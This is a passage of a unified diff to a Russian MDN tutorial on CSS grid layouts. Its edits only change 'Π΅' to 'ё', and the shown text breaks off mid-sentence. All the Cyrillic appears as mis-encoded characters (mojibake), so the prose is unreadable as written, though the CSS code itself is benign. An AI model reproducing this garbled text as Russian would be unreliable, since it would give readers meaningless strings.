-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ строк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки сСтки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ строку ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π½ΠΈΠΆΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ:</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ строк, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ Π²ΠΎΠΊΡ€ΡƒΠ³ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки сСтки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ строку ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π½ΠΈΠΆΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ:</p>
<pre class="brush: css notranslate">.row {
clear: both;
@@ -111,9 +111,9 @@ body {
<p>ΠŸΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ этого ΠΊΠ»ΠΈΡ€ΠΈΠ½Π³Π° ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку элСмСнтами, ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΌΠΈ ΠΏΠΎΠ»Π½Ρ‹Π΅ Π΄Π²Π΅Π½Π°Π΄Ρ†Π°Ρ‚ΡŒ столбцов. Π‘Ρ‚Ρ€ΠΎΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΌΠ΅ΡˆΠ°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Ρƒ.</p>
-<p>Π–Π΅Π»ΠΎΠ±Π° ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½Π½Π°ΠΌΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 20 пиксСлСй. ΠœΡ‹ создаСм эти ΠΆΠ΅Π»ΠΎΠ±Π° Π² качСствС поля Π² Π»Π΅Π²ΠΎΠΉ части ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ столбца, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ столбСц, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Π°Π»Π°Π½ΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ 20 пиксСлСй ΠΏΡ€ΠΎΠΊΠ»Π°Π΄ΠΊΠΈ Π² ΠΏΡ€Π°Π²ΠΎΠΉ части ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρƒ нас Π΅ΡΡ‚ΡŒ 12 водосточных ΠΆΠ΅Π»ΠΎΠ±ΠΎΠ² - 12 x 20 = 240.</p>
+<p>Π–Π΅Π»ΠΎΠ±Π° ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ»ΠΎΠ½Π½Π°ΠΌΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 20 пиксСлСй. ΠœΡ‹ создаём эти ΠΆΠ΅Π»ΠΎΠ±Π° Π² качСствС поля Π² Π»Π΅Π²ΠΎΠΉ части ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ столбца, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ столбСц, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Π°Π»Π°Π½ΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ 20 пиксСлСй ΠΏΡ€ΠΎΠΊΠ»Π°Π΄ΠΊΠΈ Π² ΠΏΡ€Π°Π²ΠΎΠΉ части ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρƒ нас Π΅ΡΡ‚ΡŒ 12 водосточных ΠΆΠ΅Π»ΠΎΠ±ΠΎΠ² - 12 x 20 = 240.</p>
-<p>Нам Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Ρ‡Π΅ΡΡ‚ΡŒ это ΠΈΠ· нашСй ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ 960 пиксСлСй, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ 720 пиксСлСй для Π½Π°ΡˆΠΈΡ… столбцов. Если ΠΌΡ‹ Ρ€Π°Π·Π΄Π΅Π»ΠΈΠΌ это Π½Π° 12, ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ 60 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ. Наш ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг - ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ для класса <code>.col</code>, ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅Π΅ Π²Π»Π΅Π²ΠΎ, прСдоставив Π΅ΠΌΡƒ {{cssxref ("margin-left")}} ΠΈΠ· 20 пиксСлСй для формирования ΠΆΠ΅Π»ΠΎΠ±Π° ΠΈ {{cssxref ("width" )}} ΠΈΠ· 60 пиксСлСй. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π² CSS:</p>
+<p>Нам Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Ρ‡Π΅ΡΡ‚ΡŒ это ΠΈΠ· нашСй ΠΎΠ±Ρ‰Π΅ΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ 960 пиксСлСй, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ 720 пиксСлСй для Π½Π°ΡˆΠΈΡ… столбцов. Если ΠΌΡ‹ Ρ€Π°Π·Π΄Π΅Π»ΠΈΠΌ это Π½Π° 12, ΠΌΡ‹ Π·Π½Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ столбСц Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ 60 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ. Наш ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ шаг - ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ для класса <code>.col</code>, ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅Π΅ Π²Π»Π΅Π²ΠΎ, прСдоставив Π΅ΠΌΡƒ {{cssxref ("margin-left")}} ΠΈΠ· 20 пиксСлСй для формирования ΠΆΠ΅Π»ΠΎΠ±Π° ΠΈ {{cssxref ("width" )}} ΠΈΠ· 60 пиксСлСй. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π² CSS:</p>
<pre class="brush: css notranslate">.col {
float: left;
@@ -147,10 +147,10 @@ body {
.col.span11 { width: 860px; }
.col.span12 { width: 940px; }</pre>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих классов ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ столбцы ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π² сСткС. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ страницу Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ эффСкты.</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ этих классов ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ столбцы ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π² сСткС. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ страницу Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ эффСкты.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a> Π½Π° GitHub (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">запуск Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/simple-grid-finished.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a> Π½Π° GitHub (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="https://mdn.github.io/learning-area/css/css-layout/grids/simple-grid-finished.html">запуск Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
</div>
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ классы Π½Π° своих элСмСнтах ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‚ΠΎΡ€ΡƒΡŽ строку ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -170,7 +170,7 @@ body {
<pre class="notranslate">target / context = result</pre>
-<p>Для нашСй ΡˆΠΈΡ€ΠΈΠ½Ρ‹ столбца наша <strong>цСлСвая ΡˆΠΈΡ€ΠΈΠ½Π°</strong> составляСт 60 пиксСлСй, Π° наш <strong>контСкст</strong>Β  960 пиксСлСй. Для расчСта ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π° ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅.</p>
+<p>Для нашСй ΡˆΠΈΡ€ΠΈΠ½Ρ‹ столбца наша <strong>цСлСвая ΡˆΠΈΡ€ΠΈΠ½Π°</strong> составляСт 60 пиксСлСй, Π° наш <strong>контСкст</strong>Β  960 пиксСлСй. Для расчёта ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π° ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅.</p>
<pre class="notranslate">60 / 960 = 0.0625</pre>
@@ -200,7 +200,7 @@ body {
<p>ΠœΡ‹ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π°Π»ΠΈ Π½Π°ΠΌ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚ {{cssxref ("width")}}, ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ свойство {{cssxref ("max-width")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ распространСниС ΠΌΠ°ΠΊΠ΅Ρ‚Π°.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ CSS (с сСлСктором <code>.col</code>) ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ CSS (с сСлСктором <code>.col</code>) ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="brush: css notranslate">.col {
float: left;
@@ -209,7 +209,7 @@ body {
background: rgb(255, 150, 150);
}</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠ΄Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ трудоСмкая Ρ‡Π°ΡΡ‚ΡŒ - Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ всС наши ΠΏΡ€Π°Π²ΠΈΠ»Π° <code>.col.span</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹, Π° Π½Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ пиксСлСй. Π­Ρ‚ΠΎ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ с ΠΊΠ°Π»ΡŒΠΊΡƒΠ»ΡΡ‚ΠΎΡ€ΠΎΠΌ; Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡΠΊΠΎΠ½ΠΎΠΌΠΈΡ‚ΡŒ Π²Π°ΠΌ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ усилий, ΠΌΡ‹ сдСлали это для вас Π½ΠΈΠΆΠ΅.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΈΠ΄Ρ‘Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ трудоёмкая Ρ‡Π°ΡΡ‚ΡŒ - Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ всС наши ΠΏΡ€Π°Π²ΠΈΠ»Π° <code>.col.span</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹, Π° Π½Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ пиксСлСй. Π­Ρ‚ΠΎ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ с ΠΊΠ°Π»ΡŒΠΊΡƒΠ»ΡΡ‚ΠΎΡ€ΠΎΠΌ; Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡΠΊΠΎΠ½ΠΎΠΌΠΈΡ‚ΡŒ Π²Π°ΠΌ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ усилий, ΠΌΡ‹ сдСлали это для вас Π½ΠΈΠΆΠ΅.</p>
<p>ΠžΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ Π½ΠΈΠΆΠ½ΠΈΠΉ Π±Π»ΠΎΠΊ ΠΏΡ€Π°Π²ΠΈΠ» CSS ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -231,14 +231,14 @@ body {
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ сохранитС свой ΠΊΠΎΠ΄, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ Π²ΠΈΠ΄ΠΎΠ²ΠΎΠ³ΠΎ экрана - Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ столбцов Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ. ΠžΡ‚Π»ΠΈΡ‡Π½ΠΎ!</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй Π½Π° GitHub</a> (см. Ρ‚Π°ΠΊΠΆΠ΅<a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html"> запуск Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй Π½Π° GitHub</a> (см. Ρ‚Π°ΠΊΠΆΠ΅<a href="https://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid.html"> запуск Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</a>).</p>
</div>
<h3 id="Π‘ΠΎΠ»Π΅Π΅_простыС_вычислСния_с_использованиСм_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_calc">Π‘ΠΎΠ»Π΅Π΅ простыС вычислСния с использованиСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ calc()</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{cssxref ("calc ()")}} для выполнСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ прямо Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго CSS - это позволяСт Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ простыС матСматичСскиС уравнСния Π² ваши значСния CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ. Π­Ρ‚ΠΎ особСнно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ ΠΈ Π²Ρ‹ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ расчСт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ€Π°Π·Π½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Β«Π― Ρ…ΠΎΡ‡Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ высота этого элСмСнта всСгда Π±Ρ‹Π»Π° Π½Π° 100% ΠΎΡ‚ высоты родитСля, минус 50 пиксСлСй». Π‘ΠΌ. <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API#Keeping_the_interface_constrained_to_the_viewport_regardless_of_device_height_with_calc()">этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΠ· ΡƒΡ‡Π΅Π±Π½ΠΈΠΊΠ° API MediaRecorder</a>.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ {{cssxref ("calc ()")}} для выполнСния ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ прямо Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго CSS - это позволяСт Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ простыС матСматичСскиС уравнСния Π² ваши значСния CSS, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ. Π­Ρ‚ΠΎ особСнно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡΠ»ΠΎΠΆΠ½ΡƒΡŽ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΡƒ ΠΈ Π²Ρ‹ Π΄Π°ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ 